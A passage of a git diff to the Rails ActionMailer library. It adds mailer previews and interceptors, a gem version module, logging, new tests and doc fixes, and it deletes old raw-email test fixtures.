+ lookup_context.skip_default_locale!
+
+ super
+ @_message = NullMail.new unless @_mail_was_called
+ end
end
class NullMail #:nodoc:
@@ -529,18 +595,18 @@ module ActionMailer
self.class.mailer_name
end
- # Allows you to pass random and unusual headers to the new Mail::Message
+ # Allows you to pass random and unusual headers to the new <tt>Mail::Message</tt>
# object which will add them to itself.
#
# headers['X-Special-Domain-Specific-Header'] = "SecretValue"
#
# You can also pass a hash into headers of header field names and values,
- # which will then be set on the Mail::Message object:
+ # which will then be set on the <tt>Mail::Message</tt> object:
#
# headers 'X-Special-Domain-Specific-Header' => "SecretValue",
# 'In-Reply-To' => incoming.message_id
#
- # The resulting Mail::Message will have the following in its header:
+ # The resulting <tt>Mail::Message</tt> will have the following in its header:
#
# X-Special-Domain-Specific-Header: SecretValue
def headers(args = nil)
@@ -629,13 +695,13 @@ module ActionMailer
# templates in the view paths using by default the mailer name and the
# method name that it is being called from, it will then create parts for
# each of these templates intelligently, making educated guesses on correct
- # content type and sequence, and return a fully prepared Mail::Message
- # ready to call +:deliver+ on to send.
+ # content type and sequence, and return a fully prepared <tt>Mail::Message</tt>
+ # ready to call <tt>:deliver</tt> on to send.
#
# For example:
#
# class Notifier < ActionMailer::Base
- # default from: 'no-reply@test.lindsaar.net',
+ # default from: 'no-reply@test.lindsaar.net'
#
# def welcome
# mail(to: 'mikel@test.lindsaar.net')
@@ -658,11 +724,11 @@ module ActionMailer
# format.html
# end
#
- # You can even render text directly without using a template:
+ # You can even render plain text directly without using a template:
#
# mail(to: 'mikel@test.lindsaar.net') do |format|
- # format.text { render text: "Hello Mikel!" }
- # format.html { render text: "<h1>Hello Mikel!</h1>" }
+ # format.text { render plain: "Hello Mikel!" }
+ # format.html { render html: "<h1>Hello Mikel!</h1>".html_safe }
# end
#
# Which will render a +multipart/alternative+ email with +text/plain+ and
@@ -676,6 +742,8 @@ module ActionMailer
# end
#
def mail(headers = {}, &block)
+ return @_message if @_mail_was_called && headers.blank? && !block
+
@_mail_was_called = true
m = @_message
@@ -683,9 +751,9 @@ module ActionMailer
content_type = headers[:content_type]
# Call all the procs (if any)
- class_default = self.class.default
- default_values = class_default.merge(class_default) do |k,v|
- v.respond_to?(:to_proc) ? instance_eval(&v) : v
+ default_values = {}
+ self.class.default.each do |k,v|
+ default_values[k] = v.is_a?(Proc) ? instance_eval(&v) : v
end
# Handle defaults
@@ -696,7 +764,7 @@ module ActionMailer
m.charset = charset = headers[:charset]
# Set configure delivery behavior
- wrap_delivery_behavior!(headers.delete(:delivery_method),headers.delete(:delivery_method_options))
+ wrap_delivery_behavior!(headers.delete(:delivery_method), headers.delete(:delivery_method_options))
# Assign all headers except parts_order, content_type and body
assignable = headers.except(:parts_order, :content_type, :body, :template_name, :template_path)
diff --git a/actionmailer/lib/action_mailer/delivery_methods.rb b/actionmailer/lib/action_mailer/delivery_methods.rb
index 9a1a27c8ed..aedcd81e52 100644
--- a/actionmailer/lib/action_mailer/delivery_methods.rb
+++ b/actionmailer/lib/action_mailer/delivery_methods.rb
@@ -64,7 +64,7 @@ module ActionMailer
raise "Delivery method cannot be nil"
when Symbol
if klass = delivery_methods[method]
- mail.delivery_method(klass,(send(:"#{method}_settings") || {}).merge!(options || {}))
+ mail.delivery_method(klass, (send(:"#{method}_settings") || {}).merge(options || {}))
else
raise "Invalid delivery method #{method.inspect}"
end
diff --git a/actionmailer/lib/action_mailer/gem_version.rb b/actionmailer/lib/action_mailer/gem_version.rb
new file mode 100644
index 0000000000..b564813ccf
--- /dev/null
+++ b/actionmailer/lib/action_mailer/gem_version.rb
@@ -0,0 +1,15 @@
+module ActionMailer
+ # Returns the version of the currently loaded ActionMailer as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 4
+ MINOR = 2
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/actionmailer/lib/action_mailer/log_subscriber.rb b/actionmailer/lib/action_mailer/log_subscriber.rb
index c108156792..eb6fb11d81 100644
--- a/actionmailer/lib/action_mailer/log_subscriber.rb
+++ b/actionmailer/lib/action_mailer/log_subscriber.rb
@@ -1,3 +1,5 @@
+require 'active_support/log_subscriber'
+
module ActionMailer
# Implements the ActiveSupport::LogSubscriber for logging notifications when
# email is delivered and received.
@@ -17,6 +19,13 @@ module ActionMailer
debug(event.payload[:mail])
end
+ # An email was generated.
+ def process(event)
+ mailer = event.payload[:mailer]
+ action = event.payload[:action]
+ debug("\n#{mailer}##{action}: processed outbound mail in #{event.duration.round(1)}ms")
+ end
+
# Use the logger configured for ActionMailer::Base
def logger
ActionMailer::Base.logger
diff --git a/actionmailer/lib/action_mailer/mail_helper.rb b/actionmailer/lib/action_mailer/mail_helper.rb
index 8d6e082d02..54ad9f066f 100644
--- a/actionmailer/lib/action_mailer/mail_helper.rb
+++ b/actionmailer/lib/action_mailer/mail_helper.rb
@@ -50,7 +50,7 @@ module ActionMailer
end
indentation = " " * indent
- sentences.map { |sentence|
+ sentences.map! { |sentence|
"#{indentation}#{sentence.join(' ')}"
}.join "\n"
end
diff --git a/actionmailer/lib/action_mailer/preview.rb b/actionmailer/lib/action_mailer/preview.rb
new file mode 100644
index 0000000000..33a9faa7e7
--- /dev/null
+++ b/actionmailer/lib/action_mailer/preview.rb
@@ -0,0 +1,104 @@
+require 'active_support/descendants_tracker'
+
+module ActionMailer
+ module Previews #:nodoc:
+ extend ActiveSupport::Concern
+
+ included do
+ # Set the location of mailer previews through app configuration:
+ #
+ # config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+ #
+ mattr_accessor :preview_path, instance_writer: false
+
+ # :nodoc:
+ mattr_accessor :preview_interceptors, instance_writer: false
+ self.preview_interceptors = []
+
+ # Register one or more Interceptors which will be called before mail is previewed.
+ def register_preview_interceptors(*interceptors)
+ interceptors.flatten.compact.each { |interceptor| register_preview_interceptor(interceptor) }
+ end
+
+ # Register an Interceptor which will be called before mail is previewed.
+ # Either a class or a string can be passed in as the Interceptor. If a
+ # string is passed in it will be <tt>constantize</tt>d.
+ def register_preview_interceptor(interceptor)
+ preview_interceptor = case interceptor
+ when String, Symbol
+ interceptor.to_s.camelize.constantize
+ else
+ interceptor
+ end
+
+ unless preview_interceptors.include?(preview_interceptor)
+ preview_interceptors << preview_interceptor
+ end
+ end
+ end
+ end
+
+ class Preview
+ extend ActiveSupport::DescendantsTracker
+
+ class << self
+ # Returns all mailer preview classes
+ def all
+ load_previews if descendants.empty?
+ descendants
+ end
+
+ # Returns the mail object for the given email name. The registered preview
+ # interceptors will be informed so that they can transform the message
+ # as they would if the mail was actually being delivered.
+ def call(email)
+ preview = self.new
+ message = preview.public_send(email)
+ inform_preview_interceptors(message)
+ message
+ end
+
+ # Returns all of the available email previews
+ def emails
+ public_instance_methods(false).map(&:to_s).sort
+ end
+
+ # Returns true if the email exists
+ def email_exists?(email)
+ emails.include?(email)
+ end
+
+ # Returns true if the preview exists
+ def exists?(preview)
+ all.any?{ |p| p.preview_name == preview }
+ end
+
+ # Find a mailer preview by its underscored class name
+ def find(preview)
+ all.find{ |p| p.preview_name == preview }
+ end
+
+ # Returns the underscored name of the mailer preview without the suffix
+ def preview_name
+ name.sub(/Preview$/, '').underscore
+ end
+
+ protected
+ def load_previews #:nodoc:
+ if preview_path
+ Dir["#{preview_path}/**/*_preview.rb"].each{ |file| require_dependency file }
+ end
+ end
+
+ def preview_path #:nodoc:
+ Base.preview_path
+ end
+
+ def inform_preview_interceptors(message) #:nodoc:
+ Base.preview_interceptors.each do |interceptor|
+ interceptor.previewing_email(message)
+ end
+ end
+ end
+ end
+end
diff --git a/actionmailer/lib/action_mailer/railtie.rb b/actionmailer/lib/action_mailer/railtie.rb
index 7677ff3a7c..8d1e40297b 100644
--- a/actionmailer/lib/action_mailer/railtie.rb
+++ b/actionmailer/lib/action_mailer/railtie.rb
@@ -19,6 +19,10 @@ module ActionMailer
options.javascripts_dir ||= paths["public/javascripts"].first
options.stylesheets_dir ||= paths["public/stylesheets"].first
+ if Rails.env.development?
+ options.preview_path ||= defined?(Rails.root) ? "#{Rails.root}/test/mailers/previews" : nil
+ end
+
# make sure readers methods get compiled
options.asset_host ||= app.config.asset_host
options.relative_url_root ||= app.config.relative_url_root
@@ -40,5 +44,11 @@ module ActionMailer
config.compile_methods! if config.respond_to?(:compile_methods!)
end
end
+
+ config.after_initialize do
+ if ActionMailer::Base.preview_path
+ ActiveSupport::Dependencies.autoload_paths << ActionMailer::Base.preview_path
+ end
+ end
end
end
diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb
index 9d00091972..a98aec913f 100644
--- a/actionmailer/lib/action_mailer/version.rb
+++ b/actionmailer/lib/action_mailer/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
module ActionMailer
- # Returns the version of the currently loaded ActionMailer as a Gem::Version
+ # Returns the version of the currently loaded ActionMailer as a <tt>Gem::Version</tt>
def self.version
- Gem::Version.new "4.1.0.beta"
- end
-
- module VERSION #:nodoc:
- MAJOR, MINOR, TINY, PRE = ActionMailer.version.segments
- STRING = ActionMailer.version.to_s
+ gem_version
end
end
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
index 15729bafba..93d16f491d 100644
--- a/actionmailer/test/abstract_unit.rb
+++ b/actionmailer/test/abstract_unit.rb
@@ -11,15 +11,18 @@ end
require 'active_support/testing/autorun'
require 'action_mailer'
require 'action_mailer/test_case'
+require 'mail'
-silence_warnings do
- # These external dependencies have warnings :/
- require 'mail'
-end
+# Emulate AV railtie
+require 'action_view'
+ActionMailer::Base.send(:include, ActionView::Layouts)
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
# Bogus template processors
ActionView::Template.register_template_handler :haml, lambda { |template| "Look its HAML!".inspect }
ActionView::Template.register_template_handler :bak, lambda { |template| "Lame backup".inspect }
@@ -60,4 +63,11 @@ def restore_delivery_method
ActionMailer::Base.delivery_method = @old_delivery_method
end
-ActiveSupport::Deprecation.silenced = true
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+ skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+ skip message if defined?(JRUBY_VERSION)
+end
diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb
index b9c56c540d..b66e5bd6a3 100644
--- a/actionmailer/test/base_test.rb
+++ b/actionmailer/test/base_test.rb
@@ -13,6 +13,7 @@ class BaseTest < ActiveSupport::TestCase
def teardown
ActionMailer::Base.asset_host = nil
ActionMailer::Base.assets_dir = nil
+ ActionMailer::Base.preview_interceptors.clear
end
test "method call to mail does not raise error" do
@@ -530,6 +531,13 @@ class BaseTest < ActiveSupport::TestCase
mail.deliver
end
+ test "you can register an observer using its symbolized underscored name to the mail object that gets informed on email delivery" do
+ ActionMailer::Base.register_observer(:"base_test/my_observer")
+ mail = BaseMailer.welcome
+ MyObserver.expects(:delivered_email).with(mail)
+ mail.deliver
+ end
+
test "you can register multiple observers to the mail object that both get informed on email delivery" do
ActionMailer::Base.register_observers("BaseTest::MyObserver", MySecondObserver)
mail = BaseMailer.welcome
@@ -539,12 +547,18 @@ class BaseTest < ActiveSupport::TestCase
end
class MyInterceptor
- def self.delivering_email(mail)
- end
+ def self.delivering_email(mail); end
+ def self.previewing_email(mail); end
end
class MySecondInterceptor
- def self.delivering_email(mail)
+ def self.delivering_email(mail); end
+ def self.previewing_email(mail); end
+ end
+
+ class BaseMailerPreview < ActionMailer::Preview
+ def welcome
+ BaseMailer.welcome
end
end
@@ -562,6 +576,13 @@ class BaseTest < ActiveSupport::TestCase
mail.deliver
end
+ test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before delivery" do
+ ActionMailer::Base.register_interceptor(:"base_test/my_interceptor")
+ mail = BaseMailer.welcome
+ MyInterceptor.expects(:delivering_email).with(mail)
+ mail.deliver
+ end
+
test "you can register multiple interceptors to the mail object that both get passed the mail object before delivery" do
ActionMailer::Base.register_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
mail = BaseMailer.welcome
@@ -570,6 +591,39 @@ class BaseTest < ActiveSupport::TestCase
mail.deliver
end
+ test "you can register a preview interceptor to the mail object that gets passed the mail object before previewing" do
+ ActionMailer::Base.register_preview_interceptor(MyInterceptor)
+ mail = BaseMailer.welcome
+ BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+ MyInterceptor.expects(:previewing_email).with(mail)
+ BaseMailerPreview.call(:welcome)
+ end
+
+ test "you can register a preview interceptor using its stringified name to the mail object that gets passed the mail object before previewing" do
+ ActionMailer::Base.register_preview_interceptor("BaseTest::MyInterceptor")
+ mail = BaseMailer.welcome
+ BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+ MyInterceptor.expects(:previewing_email).with(mail)
+ BaseMailerPreview.call(:welcome)
+ end
+
+ test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before previewing" do
+ ActionMailer::Base.register_preview_interceptor(:"base_test/my_interceptor")
+ mail = BaseMailer.welcome
+ BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+ MyInterceptor.expects(:previewing_email).with(mail)
+ BaseMailerPreview.call(:welcome)
+ end
+
+ test "you can register multiple preview interceptors to the mail object that both get passed the mail object before previewing" do
+ ActionMailer::Base.register_preview_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
+ mail = BaseMailer.welcome
+ BaseMailerPreview.any_instance.stubs(:welcome).returns(mail)
+ MyInterceptor.expects(:previewing_email).with(mail)
+ MySecondInterceptor.expects(:previewing_email).with(mail)
+ BaseMailerPreview.call(:welcome)
+ end
+
test "being able to put proc's into the defaults hash and they get evaluated on mail sending" do
mail1 = ProcMailer.welcome['X-Proc-Method']
yesterday = 1.day.ago
@@ -578,6 +632,10 @@ class BaseTest < ActiveSupport::TestCase
assert(mail1.to_s.to_i > mail2.to_s.to_i)
end
+ test 'default values which have to_proc (e.g. symbols) should not be considered procs' do
+ assert(ProcMailer.welcome['x-has-to-proc'].to_s == 'symbol')
+ end
+
test "we can call other defined methods on the class as needed" do
mail = ProcMailer.welcome
assert_equal("Thanks for signing up this afternoon", mail.subject)
@@ -667,6 +725,27 @@ class BaseTest < ActiveSupport::TestCase
assert_equal ["robert.pankowecki@gmail.com"], DefaultFromMailer.welcome.from
end
+ test "mail() without arguments serves as getter for the current mail message" do
+ class MailerWithCallback < ActionMailer::Base
+ after_action :a_callback
+
+ def welcome
+ headers('X-Special-Header' => 'special indeed!')
+ mail subject: "subject", body: "hello world", to: ["joe@example.com"]
+ end
+
+ def a_callback
+ mail.to << "jane@example.com"
+ end
+ end
+
+ mail = MailerWithCallback.welcome
+ assert_equal "subject", mail.subject
+ assert_equal ["joe@example.com", "jane@example.com"], mail.to
+ assert_equal "hello world", mail.body.encoded.strip
+ assert_equal "special indeed!", mail["X-Special-Header"].to_s
+ end
+
protected
# Execute the block setting the given values and restoring old values after
diff --git a/actionmailer/test/delivery_methods_test.rb b/actionmailer/test/delivery_methods_test.rb
index 61a037ea18..609903620b 100644
--- a/actionmailer/test/delivery_methods_test.rb
+++ b/actionmailer/test/delivery_methods_test.rb
@@ -38,8 +38,10 @@ class DefaultsDeliveryMethodsTest < ActiveSupport::TestCase
end
test "default sendmail settings" do
- settings = {location: '/usr/sbin/sendmail',
- arguments: '-i -t'}
+ settings = {
+ location: '/usr/sbin/sendmail',
+ arguments: '-i -t'
+ }
assert_equal settings, ActionMailer::Base.sendmail_settings
end
end
@@ -138,13 +140,15 @@ class MailDeliveryTest < ActiveSupport::TestCase
end
test "default delivery options can be overridden per mail instance" do
- settings = { address: "localhost",
- port: 25,
- domain: 'localhost.localdomain',
- user_name: nil,
- password: nil,
- authentication: nil,
- enable_starttls_auto: true }
+ settings = {
+ address: "localhost",
+ port: 25,
+ domain: 'localhost.localdomain',
+ user_name: nil,
+ password: nil,
+ authentication: nil,
+ enable_starttls_auto: true
+ }
assert_equal settings, ActionMailer::Base.smtp_settings
overridden_options = {user_name: "overridden", password: "somethingobtuse"}
mail_instance = DeliveryMailer.welcome(delivery_method_options: overridden_options)
@@ -152,6 +156,9 @@ class MailDeliveryTest < ActiveSupport::TestCase
assert_equal "overridden", delivery_method_instance.settings[:user_name]
assert_equal "somethingobtuse", delivery_method_instance.settings[:password]
assert_equal delivery_method_instance.settings.merge(overridden_options), delivery_method_instance.settings
+
+ # make sure that overriding delivery method options per mail instance doesn't affect the Base setting
+ assert_equal settings, ActionMailer::Base.smtp_settings
end
test "non registered delivery methods raises errors" do
@@ -161,6 +168,13 @@ class MailDeliveryTest < ActiveSupport::TestCase
end
end
+ test "undefined delivery methods raises errors" do
+ DeliveryMailer.delivery_method = nil
+ assert_raise RuntimeError do
+ DeliveryMailer.welcome.deliver
+ end
+ end
+
test "does not perform deliveries if requested" do
DeliveryMailer.perform_deliveries = false
DeliveryMailer.deliveries.clear
diff --git a/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
index 30466dd005..d676a6d2da 100644
--- a/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
+++ b/actionmailer/test/fixtures/base_mailer/email_with_translations.html.erb
@@ -1 +1 @@
-<%= t('.greet_user', :name => 'lifo') %> \ No newline at end of file
+<%= t('.greet_user', name: 'lifo') %> \ No newline at end of file
diff --git a/actionmailer/test/fixtures/raw_email10 b/actionmailer/test/fixtures/raw_email10
deleted file mode 100644
index edad5ccff1..0000000000
--- a/actionmailer/test/fixtures/raw_email10
+++ /dev/null
@@ -1,20 +0,0 @@
-Return-Path: <xxx@xxxx.xxx>
-Received: from xxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id C1B953B4CB6 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:05 -0500
-Received: from SMS-GTYxxx.xxxx.xxx by xxx.xxxx.xxx with ESMTP id ca for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:04 -0500
-Received: from xxx.xxxx.xxx by SMS-GTYxxx.xxxx.xxx with ESMTP id j4AKR3r23323 for <xxxxx@Exxx.xxxx.xxx>; Tue, 10 May 2005 15:27:03 -0500
-Date: Tue, 10 May 2005 15:27:03 -0500
-From: xxx@xxxx.xxx
-Sender: xxx@xxxx.xxx
-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Message-Id: <xxx@xxxx.xxx>
-X-Original-To: xxxxxxxxxxx@xxxx.xxxx.xxx
-Delivered-To: xxx@xxxx.xxx
-Importance: normal
-Content-Type: text/plain; charset=X-UNKNOWN
-
-Test test. Hi. Waving. m
-
-----------------------------------------------------------------
-Sent via Bell Mobility's Text Messaging service.
-Envoyé par le service de messagerie texte de Bell Mobilité.
-----------------------------------------------------------------
diff --git a/actionmailer/test/fixtures/raw_email12 b/actionmailer/test/fixtures/raw_email12
deleted file mode 100644
index 2cd31720d3..0000000000
--- a/actionmailer/test/fixtures/raw_email12
+++ /dev/null
@@ -1,32 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
- charset=ISO-8859-1;
- delsp=yes;
- format=flowed
-
-This is the first part.
-
---Apple-Mail-13-196941151
-Content-Type: image/jpeg
-Content-Transfer-Encoding: base64
-Content-Location: Photo25.jpg
-Content-ID: <qbFGyPQAS8>
-Content-Disposition: inline
-
-jamisSqGSIb3DQEHAqCAMIjamisxCzAJBgUrDgMCGgUAMIAGCSqGSjamisEHAQAAoIIFSjCCBUYw
-ggQujamisQICBD++ukQwDQYJKojamisNAQEFBQAwMTELMAkGA1UEBhMCRjamisAKBgNVBAoTA1RE
-QzEUMBIGjamisxMLVERDIE9DRVMgQ0jamisNMDQwMjI5MTE1OTAxWhcNMDYwMjamisIyOTAxWjCB
-gDELMAkGA1UEjamisEsxKTAnBgNVBAoTIEjamisuIG9yZ2FuaXNhdG9yaXNrIHRpbjamisRuaW5=
-
---Apple-Mail-13-196941151--
-
diff --git a/actionmailer/test/fixtures/raw_email13 b/actionmailer/test/fixtures/raw_email13
deleted file mode 100644
index 7d9314e36a..0000000000
--- a/actionmailer/test/fixtures/raw_email13
+++ /dev/null
@@ -1,29 +0,0 @@
-Mime-Version: 1.0 (Apple Message framework v730)
-Content-Type: multipart/mixed; boundary=Apple-Mail-13-196941151
-Message-Id: <9169D984-4E0B-45EF-82D4-8F5E53AD7012@example.com>
-From: foo@example.com
-Subject: testing
-Date: Mon, 6 Jun 2005 22:21:22 +0200
-To: blah@example.com
-
-
---Apple-Mail-13-196941151
-Content-Transfer-Encoding: quoted-printable
-Content-Type: text/plain;
- charset=ISO-8859-1;
- delsp=yes;
- format=flowed
-
-This is the first part.
-
---Apple-Mail-13-196941151
-Content-Type: text/x-ruby-script; name="hello.rb"
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment;
- filename="api.rb"
-
-puts "Hello, world!"
-gets
-
---Apple-Mail-13-196941151--
-
diff --git a/actionmailer/test/fixtures/raw_email2 b/actionmailer/test/fixtures/raw_email2
deleted file mode 100644
index 9f87bb2a98..0000000000
--- a/actionmailer/test/fixtures/raw_email2
+++ /dev/null
@@ -1,114 +0,0 @@
-From xxxxxxxxx.xxxxxxx@gmail.com Sun May 8 19:07:09 2005
-Return-Path: <xxxxxxxxx.xxxxxxx@gmail.com>
-X-Original-To: xxxxx@xxxxx.xxxxxxxxx.com
-Delivered-To: xxxxx@xxxxx.xxxxxxxxx.com
-Received: from localhost (localhost [127.0.0.1])
- by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 06C9DA98D
- for <xxxxx@xxxxx.xxxxxxxxx.com>; Sun, 8 May 2005 19:09:13 +0000 (GMT)
-Received: from xxxxx.xxxxxxxxx.com ([127.0.0.1])
- by localhost (xxxxx.xxxxxxxxx.com [127.0.0.1]) (amavisd-new, port 10024)
- with LMTP id 88783-08 for <xxxxx@xxxxx.xxxxxxxxx.com>;
- Sun, 8 May 2005 19:09:12 +0000 (GMT)
-Received: from xxxxxxx.xxxxxxxxx.com (xxxxxxx.xxxxxxxxx.com [69.36.39.150])
- by xxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 10D8BA960
- for <xxxxx@xxxxxxxxx.org>; Sun, 8 May 2005 19:09:12 +0000 (GMT)
-Received: from zproxy.gmail.com (zproxy.gmail.com [64.233.162.199])
- by xxxxxxx.xxxxxxxxx.com (Postfix) with ESMTP id 9EBC4148EAB
- for <xxxxx@xxxxxxxxx.com>; Sun, 8 May 2005 14:09:11 -0500 (CDT)
-Received: by zproxy.gmail.com with SMTP id 13so1233405nzp
- for <xxxxx@xxxxxxxxx.com>; Sun, 08 May 2005 12:09:11 -0700 (PDT)
-DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
- s=beta; d=gmail.com;
- h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:references;
- b=cid1mzGEFa3gtRa06oSrrEYfKca2CTKu9sLMkWxjbvCsWMtp9RGEILjUz0L5RySdH5iO661LyNUoHRFQIa57bylAbXM3g2DTEIIKmuASDG3x3rIQ4sHAKpNxP7Pul+mgTaOKBv+spcH7af++QEJ36gHFXD2O/kx9RePs3JNf/K8=
-Received: by 10.36.10.16 with SMTP id 16mr1012493nzj;
- Sun, 08 May 2005 12:09:11 -0700 (PDT)
-Received: by 10.36.5.10 with HTTP; Sun, 8 May 2005 12:09:11 -0700 (PDT)
-Message-ID: <e85734b90505081209eaaa17b@mail.gmail.com>
-Date: Sun, 8 May 2005 14:09:11 -0500
-From: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-Reply-To: xxxxxxxxx xxxxxxx <xxxxxxxxx.xxxxxxx@gmail.com>
-To: xxxxx xxxx <xxxxx@xxxxxxxxx.com>
-Subject: Fwd: Signed email causes file attachments
-In-Reply-To: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-Mime-Version: 1.0
-Content-Type: multipart/mixed;
- boundary="----=_Part_5028_7368284.1115579351471"
-References: <F6E2D0B4-CC35-4A91-BA4C-C7C712B10C13@mac.com>
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: text/plain; charset=ISO-8859-1
-Content-Transfer-Encoding: quoted-printable
-Content-Disposition: inline
-
-We should not include these files or vcards as attachments.
-
----------- Forwarded message ----------
-From: xxxxx xxxxxx <xxxxxxxx@xxx.com>
-Date: May 8, 2005 1:17 PM
-Subject: Signed email causes file attachments
-To: xxxxxxx@xxxxxxxxxx.com
-
-
-Hi,
-
-Just started to use my xxxxxxxx account (to set-up a GTD system,
-natch) and noticed that when I send content via email the signature/
-certificate from my email account gets added as a file (e.g.
-"smime.p7s").
-
-Obviously I can uncheck the signature option in the Mail compose
-window but how often will I remember to do that?
-
-Is there any way these kind of files could be ignored, e.g. via some
-sort of exclusions list?
-
-------=_Part_5028_7368284.1115579351471
-Content-Type: application/pkcs7-signature; name=smime.p7s
-Content-Transfer-Encoding: base64
-Content-Disposition: attachment; filename="smime.p7s"
-
-MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGFDCCAs0w
-ggI2oAMCAQICAw5c+TANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh
-d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt
-YWlsIElzc3VpbmcgQ0EwHhcNMDUwMzI5MDkzOTEwWhcNMDYwMzI5MDkzOTEwWjBCMR8wHQYDVQQD
-ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMR8wHQYJKoZIhvcNAQkBFhBzbWhhdW5jaEBtYWMuY29t
-MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAn90dPsYS3LjfMY211OSYrDQLzwNYPlAL
-7+/0XA+kdy8/rRnyEHFGwhNCDmg0B6pxC7z3xxJD/8GfCd+IYUUNUQV5m9MkxfP9pTVXZVIYLaBw
-o8xS3A0a1LXealcmlEbJibmKkEaoXci3MhryLgpaa+Kk/sH02SNatDO1vS28bPsibZpcc6deFrla
-hSYnL+PW54mDTGHIcCN2fbx/Y6qspzqmtKaXrv75NBtuy9cB6KzU4j2xXbTkAwz3pRSghJJaAwdp
-+yIivAD3vr0kJE3p+Ez34HMh33EXEpFoWcN+MCEQZD9WnmFViMrvfvMXLGVFQfAAcC060eGFSRJ1
-ZQ9UVQIDAQABoy0wKzAbBgNVHREEFDASgRBzbWhhdW5jaEBtYWMuY29tMAwGA1UdEwEB/wQCMAAw
-DQYJKoZIhvcNAQEEBQADgYEAQMrg1n2pXVWteP7BBj+Pk3UfYtbuHb42uHcLJjfjnRlH7AxnSwrd
-L3HED205w3Cq8T7tzVxIjRRLO/ljq0GedSCFBky7eYo1PrXhztGHCTSBhsiWdiyLWxKlOxGAwJc/
-lMMnwqLOdrQcoF/YgbjeaUFOQbUh94w9VDNpWZYCZwcwggM/MIICqKADAgECAgENMA0GCSqGSIb3
-DQEBBQUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlD
-YXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0
-aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwg
-Q0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDMwNzE3
-MDAwMDAwWhcNMTMwNzE2MjM1OTU5WjBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENv
-bnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElz
-c3VpbmcgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMSmPFVzVftOucqZWh5owHUEcJ3f
-6f+jHuy9zfVb8hp2vX8MOmHyv1HOAdTlUAow1wJjWiyJFXCO3cnwK4Vaqj9xVsuvPAsH5/EfkTYk
-KhPPK9Xzgnc9A74r/rsYPge/QIACZNenprufZdHFKlSFD0gEf6e20TxhBEAeZBlyYLf7AgMBAAGj
-gZQwgZEwEgYDVR0TAQH/BAgwBgEB/wIBADBDBgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsLnRo
-YXd0ZS5jb20vVGhhd3RlUGVyc29uYWxGcmVlbWFpbENBLmNybDALBgNVHQ8EBAMCAQYwKQYDVR0R
-BCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDItMTM4MA0GCSqGSIb3DQEBBQUAA4GBAEiM
-0VCD6gsuzA2jZqxnD3+vrL7CF6FDlpSdf0whuPg2H6otnzYvwPQcUCCTcDz9reFhYsPZOhl+hLGZ
